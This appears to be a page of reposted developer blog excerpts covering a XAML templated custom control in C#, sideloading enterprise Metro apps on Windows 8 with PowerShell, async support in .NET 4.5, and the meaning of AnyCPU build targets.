The fundamentals of a custom control are that it is a class and it provides it’s own template/style.  This style/template definition usually lives in a file located at themes/generic.xaml.  This is the same pattern that has existed in other XAML implementations like WPF, Silverlight and Windows Phone.  The pattern is no different for Metro style apps in this regard.

The creation of the most basic custom control is very simple.  A Windows SDK sample for XAML User and Custom Controls is available for you to download for the quick review and core concept.  My intent here is to take that a step further for the end-to-end implementation if I were a control vendor.  Let’s first create our control.  For our purposes we will create a control that shows an Image and allows you to specify some Text for the label.  The label, however, will be prepended with some text that comes from string resources.

In Visual Studio we will create a class library project first.

NOTE: You can create a C#/VB Class Library and keep it managed, or convert it to a WinRT component.  You may also create this in C++ using the WinRT Component project type.  Again, these concepts are the same, the syntax will be obviously slightly different for C++ and managed code.
Once you create the class library (I called mine SimpleCustomControl and deleted the initial Class1.cs file that was created), add an item to the project.  You can do this via right-clicking on the project and choosing add item.  You will be presented with a few options, but the important one is Templated Control.

Inline image 1

Watch was this does to your project as it will do 2 things:

Create a new class
Add a Themes folder and place a ResourceDictionary called generic.xaml in that folder
The themes/generic.xaml is very important if you use the DefaultStyleKey concept in your class.  This is very much a convention-based approach.  The contents of the class is very simple at this point, with the sole constructor and the DefaultStyleKey wired up:

   1: namespace SimpleCustomControl
   2: {
   3:     public sealed class LabeledImage : Control
   4:     {
   5:         public LabeledImage()
   6:         {
   7:             this.DefaultStyleKey = typeof(LabeledImage);
   8:         }
   9:     }
  10: }

Read more: Tim Heuer
QR: Inline image 2

Posted via email from Jasper-net

Do corporations/businesses need to use the Windows Store to deploy internal LOB Win8 Metro Style apps? Nope (as long as the machines are joined to a domain). Here's the sideloading guide...

|
Over the past few days I have had a few questions re how does a University go about installing Enterprise apps onto Windows 8 machines without having to setup Microsoft LiveIDs on each of the machines,

...

However if you are an Enterprise looking to get Metro applications onto your employees/students or lab Windows 8 desktops then you will likely want to do it more directly.

Which is where “sideloading” fits in.

Microsoft Technet has detailed documentation on Windows 8 Sideloading to add and remove line-of-business (LOB) Metro style apps

In brief:

App must be cryptographically signed
App can only be installed on a computer that trusts the signing certificate
Group Policy must have the Allow all trusted applications to install setting.
Computer must be domain joined to run the app (not needed for install)
At which point installing an app is as simple as

add-appxpackage C:\app1.appx

Additionally you can also remove apps via this process

Remove-appxpackage C:\app1.apx

QR: Inline image 1

Posted via email from Jasper-net

Async in 4.5: Worth the Await

|
Developers often ask for guidance on how to write responsive user interfaces. Reading most books about the .NET Framework over the past ten years, you’ll see coverage of the asynchronous programming model which requires a lot of careful attention while coding. That’s why the async features in the latest versions of C# and Visual Basic are tremendous step forward. And language innovation like async needs a great library to bring forward the potential. In this post, Alok Shriram – a Program Manager from the .NET Base Class Library team – shows the work done in the .NET Framework to be async ready.

"Performance" is a term that is used a lot when talking about apps, but it's actually a pretty vague term. There are at least two aspects of performance that most people think about: app launch time and throughput. Both of these can be measured and described with actual numbers. The true test of an app, however, is end-user perception. A stop-watch may tell us one thing, but a user may see something else. End-user perception is the basis of asynchrony and related features that we have built into the .NET Framework 4.5 Beta. Essentially, we can provide a more responsive UI experience if some of the more expensive app operations can be delayed. This will make the end-user happier, and it will help us make better use of computing resources than would be possible otherwise. While you’ve always been able to implement this pattern in the .NET Framework, the implementation has been difficult in practice. We’ve fixed that in the .NET Framework 4.5 Beta.

This post introduces the asynchronous features in the .NET Framework 4.5 Beta. Many of you have been introduced to “async” via the language changes in C#, but we also want to tell you about accompanying changes that we’ve made in the .NET Framework.

Asynchrony in the .NET Framework
If you have ever written any UI code, chances are that you have used the asynchronous capabilities of the .NET Framework. Asynchrony keeps the UI responsive while expensive operations are being performed. For instance, if you implement a mouse click event that has to go and fetch a large page from the Internet, and you implement it using the WebClient.DownloadString method, depending on the amount of time this call takes to return, the thread on which the UI is running will be blocked. This means that any subsequent actions performed on the UI will be delayed, and you will wind up getting a frozen UI. However, if you use an asynchronous version of the method instead (specifically, WebClient.DownloadStringAsync), the request will return control immediately, and subsequent UI interactions can be handled as they arrive, while the content is being asynchronously fetched from the resource.

Read more: .NET Blog
QR: Inline image 1

Posted via email from Jasper-net

What AnyCPU Really Means As Of .NET 4.5 and Visual Studio 11

|
The 32-bit and 64-bit development story on Windows seemingly never stops causing problems for developers. It’s been a decade since 64-bit processors have started popping up in the Windows consumer environment, but we just can’t get it right. If you forget some of the gory details, here are a couple of reminders:

On a 64-bit Windows system, both the 32-bit and 64-bit versions of system DLLs are stored. The 64-bit DLLs are in C:\Windows\System32, and the 32-bit DLLs are in C:\Windows\SysWOW64.
When a 32-bit process opens a file in C:\Program Files, it actually reads/writes to C:\Program Files (x86).
There are separate views of (most of) the registry for 32-bit and 64-bit applications. You can change the 64-bit registry location and it wouldn’t be visible to 32-bit applications.
These differences are hardly elegant as they are, but they allow 32-bit applications to run successfully on a 64-bit Windows system. While unmanaged applications always had to choose the native target—x86, x64, or ia64 in the Visual Studio case—managed code has the additional choice of AnyCPU.

What AnyCPU used to mean up to .NET 4.0 (and Visual Studio 2010) is the following:

If the process runs on a 32-bit Windows system, it runs as a 32-bit process. IL is compiled to x86 machine code.
If the process runs on a 64-bit Windows system, it runs as a 64-bit process. IL is compiled to x64 machine code.
If the process runs on an Itanium Windows system (has anyone got one? ;-)), it runs as a 64-bit process. IL is compiled to Itanium machine code.
Prior to Visual Studio 2010, AnyCPU was the default for most .NET projects, which was confusing to some developers: when they ran the application on a 64-bit Windows system, the process was a 64-bit process, which may cause unexpected results. For example, if the application relies on an unmanaged DLL of which only a 32-bit version is available, its 64-bit version won’t be able to load that component.

In Visual Studio 2010, x86 (and not AnyCPU) became the default for most .NET projects—but otherwise the semantics haven’t changed.

In .NET 4.5 and Visual Studio 11 the cheese has been moved. The default for most .NET projects is again AnyCPU, but there is more than one meaning to AnyCPU now. There is an additional sub-type of AnyCPU, “Any CPU 32-bit preferred”, which is the new default (overall, there are now five options for the /platform C# compiler switch: x86, Itanium, x64, anycpu, and anycpu32bitpreferred). When using that flavor of AnyCPU, the semantics are the following:

If the process runs on a 32-bit Windows system, it runs as a 32-bit process. IL is compiled to x86 machine code.
If the process runs on a 64-bit Windows system, it runs as a 32-bit process. IL is compiled to x86 machine code.
If the process runs on an ARM Windows system, it runs as a 32-bit process. IL is compiled to ARM machine code.

QR: Inline image 1

Posted via email from Jasper-net